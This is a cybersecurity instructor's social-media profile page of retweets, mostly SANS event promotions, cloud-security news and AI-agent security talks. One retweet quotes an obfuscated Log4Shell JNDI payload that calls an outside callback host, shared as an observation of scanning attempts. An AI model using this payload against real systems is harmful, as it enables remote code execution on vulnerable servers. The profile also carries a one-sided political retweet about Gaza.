Cyber Security | SANS Author and Instructor
Joined December 2018
- Tweets87
- Following274
- Followers115
- Likes47
Ahmed AG retweeted
We gave three coding harnesses write access to live AWS accounts and graded 180 runs.
Every single one paused before making a change.Every point they lost was on read-only tasks.
The risk wasn't where we'd pointed our guardrails.🧵
Ahmed AG retweeted
⚙️ GenAI agents need controls, not just prompts.
Join Ahmed Abugharbia to explore MCP, secure delegation, and the critical role of authN/authZ in agent-driven AI systems.
📅 Jan 20 | 1:00 PM EST
🔗 buff.ly/5Bs78iF
#GenAI #AppSec #Authorization #SEC545 #AIArchitecture
Ahmed AG retweeted
If you are an American, you must listen to this.
American hero—25 years service, 12 deployments, Purple Heart, Bronze Star & ARCOM Medalist, etc—talks about the conditions he witnessed in Gaza.
Conditions that your government has a big hand in, and your tax money is paying for.
Part one of our interview with retired Green Beret Lt. Col. Tony Aguilar, who says he witnessed war crimes in Gaza. Next week, his detailed response to the attacks against him.
(0:00) What Is the Gaza Humanitarian Foundation?
(8:52) Aguilar Details the Atrocities Taking Place in Gaza
(12:03) To What Extent Is the US Involved in the Destruction of Gaza?
(14:39) Is Israel Providing Any Aid to the Palestinians?
(20:34) What Is the Death Toll in Gaza?
(24:31) How Are People in Gaza Getting Food?
(29:20) Who Is Johnnie Moore?
(32:36) Who Is Funding the Gaza Humanitarian Foundation?
(38:10) How Is Aguilar Treated by the IDF?
(43:17) How Does the IDF Treat Palestinian Civilians?
(46:04) The Killing of Palestinians at Aid Distribution Sites
(56:47) The Killing of Amir
(1:07:12) The Attempts to Discredit Aguilar
(1:13:30) What Should the Trump Administration Do About This?
Ahmed AG retweeted
Join us at 🏴 #SANSCommunityNight in London on the 3rd of September 2024!
🗣️ @tazwake will share tips on enhancing incident response
🗣️ @aagsec will discuss GenAI - Security challenges & opps
Register for FREE → sans.org/u/1xOY
@SANSForensics | #SANSTraining #London
Ahmed AG retweeted
This is huge: Llama-v2 is open source, with a license that authorizes commercial use!
This is going to change the landscape of the LLM market.
Llama-v2 is available on Microsoft Azure and will be available on AWS, Hugging Face and other providers
Pretrained and fine-tuned models are available with 7B, 13B and 70B parameters.
Llama-2 website: ai.meta.com/llama/
Llama-2 paper: ai.meta.com/research/publica…
A number of personalities from industry and academia have endorsed our open source approach: about.fb.com/news/2023/07/ll…
Ahmed AG retweeted
Wanted to give folks a TLDR on this one because
1. Its one of the bigger GCP vulns to come out in a while (h/t @orcasec )
2. I know most aren't that familiar with GCP and would benefit from a TLDR;
1/8
The Orca Research Pod has discovered a critical design flaw in the #GoogleCloud Build service that enables attackers to escalate privileges and gain unauthorized access to code repositories and images in Artifact Registry. Learn more: tryorca.co/3pYpFPx
Ahmed AG retweeted
Join us in 2 weeks for the Free Live Online SANS #SmallBusinessSummit and walk away learning valuable insights and practical tips on protecting your business from cyber threats.
📌 Join us on May 17: sans.org/u/1p0c
Ahmed AG retweeted
Live from RSAC with Ed Skoudis | Host, Stephen A. Hart | April 24, 2023 teapawt.net/i/broadcasts/1YpJkgLlW…
Ahmed AG retweeted
The first three episodes of the #CloudAcePodcast are here!
Listen to @anton_chuvakin @fykim @kymidd @NightmareJS @kfosaaen as they discuss the latest in cloud security with host @brandonmaxevans.
Subscribe, rate and review wherever you get your podcasts: sans.org/u/1nkk
Ahmed AG retweeted
Seeing now #log4shell exploit attempts that obfuscate: ${jndi:${lower:l}${lower:d}a${lower:p}://world80[.]log4j[.]bin${upper:a}ryedge[.]io:80/callback} and also ldaps vs ldap. This particular attempt is from Binaryedge (researcher scans)
Ahmed AG retweeted
Stand out as one of the first people to be certified in #PublicCloud security. The #GPCS certification is now available for pre-sale!
Learn more: giac.org/u/1eMk
@SANSCloudSec @BrandonMaxEvans @emjohn20 #CloudSecurity #SEC510
Ahmed AG retweeted
It has launched! ATT&CK v9 is now live with refactored data sources, ATT&CK for Containers, Google Workspace as a platform and more! Read about new data sources and the rest of the update at medium.com/mitre-attack/atta… or attack.mitre.org/resources/u… for new/changed groups/techniques/sw.
Ahmed AG retweeted
By unlocking the full potential of cloud network and API access logs, security operations can thrive in a multi-cloud environment. Learn more about this #RSAC 2021 session from @BrandonMaxEvans of @SANSInstitute: spr.ly/6018Hvfwe
Ahmed AG retweeted
In this video, @TheCybergoof walks through EC2 Image Builder, and how it can help you create a pipeline that will start with a gold image AMI, configure it, and then create an AMI that is all ready to run in your environment. youtu.be/-gXmhxqHgqg
Ahmed AG retweeted
Stripe is excited to lead @TeamManara's seed round. To learn more, see Dalia’s story below. (More women than men study CS in many Middle Eastern countries.) daliaawad28.medium.com/my-ex…
We're very long technologies and organizations that are enabling global economic opportunity. 🌍🚀
Ahmed AG retweeted
Don't miss next week's SANS #ICSSummit! Join chairs @RobertMLee and Tim Conway for 2 days of in-depth #ICS security talks & sessions around the clock! Wherever you're watching from, we've got live sessions for you!
Register for FREE: sans.org/u/17KQ
Ahmed AG retweeted
The CFP for SANS #CloudSecNextSummit is OPEN
Do you have case studies of #cloudsecurity monitoring and threat detection? Or security-led innovation through modernization of applications, process, and policy? We'd like to hear from you!
Submit by 2/22: sans.org/u/1acs
